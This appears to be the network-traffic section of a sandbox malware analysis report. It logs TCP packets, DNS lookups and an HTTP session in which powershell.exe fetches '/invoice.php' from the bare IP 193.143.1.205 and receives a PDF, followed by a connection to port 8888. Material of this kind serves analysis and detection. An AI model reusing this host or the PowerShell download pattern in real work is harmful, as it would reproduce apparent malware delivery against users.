Jan 11, 2025 01:54:53.146301031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.146311998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.146322012 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.146322966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.146333933 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.146342039 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.146349907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.146359921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.146368980 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.146372080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.146377087 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.146401882 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.146570921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.146596909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.146606922 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.146616936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.146627903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.146629095 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.146637917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.146645069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.146650076 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.146697998 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.156534910 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.158782959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.158797026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.158864975 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.181189060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.181206942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.181253910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.181284904 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.181318045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.181329966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.181372881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.181385040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.181396961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.181408882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.181420088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.181463003 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.181463957 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.181463957 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.181569099 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.205866098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.205878019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.205890894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.205898046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.205904007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.205910921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.205946922 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.206005096 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.206007957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.206013918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.206024885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.206031084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.206037045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.206042051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.206052065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.206057072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.206063032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.206068039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.206073046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.206079006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.206084967 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.206202030 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.206202030 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.206202030 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.206202984 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.233170033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.233202934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.233216047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.233222008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.233246088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.233252048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.233270884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.233278036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.233288050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.233294010 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.233304977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.233309984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.233321905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.233329058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.233334064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.233413935 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.233503103 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.233503103 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.233520031 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.233526945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.233537912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.233544111 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.233551025 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.233556032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.233562946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.233567953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.233578920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.233582973 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.233598948 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.233628035 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.233635902 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.233639002 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.233645916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.233652115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.233658075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.233685017 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.233731031 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.234261036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234272003 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234280109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234323978 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.234412909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234419107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234431028 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234436989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234442949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234455109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234461069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234466076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234472036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234472990 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.234477043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234488010 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234493971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234509945 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.234509945 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.234548092 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.234553099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234563112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234586000 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234597921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234602928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.234605074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234627962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234628916 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.234633923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234644890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234649897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234654903 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.234657049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234668016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234671116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234674931 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234678984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234684944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234690905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234693050 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.234697104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234702110 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234708071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234740973 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.234770060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234776020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234776974 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.234812975 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.234838009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234844923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234855890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234863043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234869957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234896898 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.234935045 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.234940052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234946966 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234952927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.234992981 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.235034943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.235040903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.235054016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.235059977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.235074043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.235081911 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.235089064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.235102892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.235107899 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.235111952 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.235115051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.235119104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.235162020 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.235162020 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.247325897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.247350931 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.247356892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.247369051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.247375011 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.247410059 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.247416973 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.247493982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.247567892 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.261697054 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.270040989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.270061970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.270076036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.270081997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.270096064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.270101070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.270111084 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.270113945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.270158052 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.270158052 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.285154104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.285166979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.285180092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.285193920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.285200119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.285211086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.285218000 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.285223007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.285228968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.285233974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.285240889 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.285242081 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.285245895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.285253048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.285259962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.285267115 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.285281897 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.285331011 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.322283030 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.322331905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.322340012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.322346926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.322352886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.322360039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.322372913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.322455883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.322469950 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.322475910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.322478056 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.322478056 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.322480917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.322487116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.322491884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.322501898 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.322504044 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.322510004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.322521925 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.322527885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.322530985 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.322535038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:53.322566986 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.322566986 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.322650909 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.426656961 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:53.591772079 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:54.086992979 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:54.091881990 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:54.091943026 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:54.092128038 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:54.096931934 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:54.913187981 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 01:54:54.962877989 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 01:54:56.338512897 CET	49707	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:55:06.960609913 CET	56703	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 01:55:06.960609913 CET	192.168.2.8	1.1.1.1	0x7fa1	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 01:55:06.969099045 CET	1.1.1.1	192.168.2.8	0x7fa1	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:55:07.675204039 CET	1.1.1.1	192.168.2.8	0x25c4	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:55:07.675204039 CET	1.1.1.1	192.168.2.8	0x25c4	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:55:20.610711098 CET	1.1.1.1	192.168.2.8	0x23ea	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:55:20.610711098 CET	1.1.1.1	192.168.2.8	0x23ea	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:55:33.048818111 CET	1.1.1.1	192.168.2.8	0xa7c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:55:33.048818111 CET	1.1.1.1	192.168.2.8	0xa7c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	193.143.1.205	80	2340	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:54:51.768153906 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 01:54:52.554024935 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:54:52 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 01:54:52.554151058 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 01:54:52.554163933 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 01:54:52.554173946 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 01:54:52.554184914 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
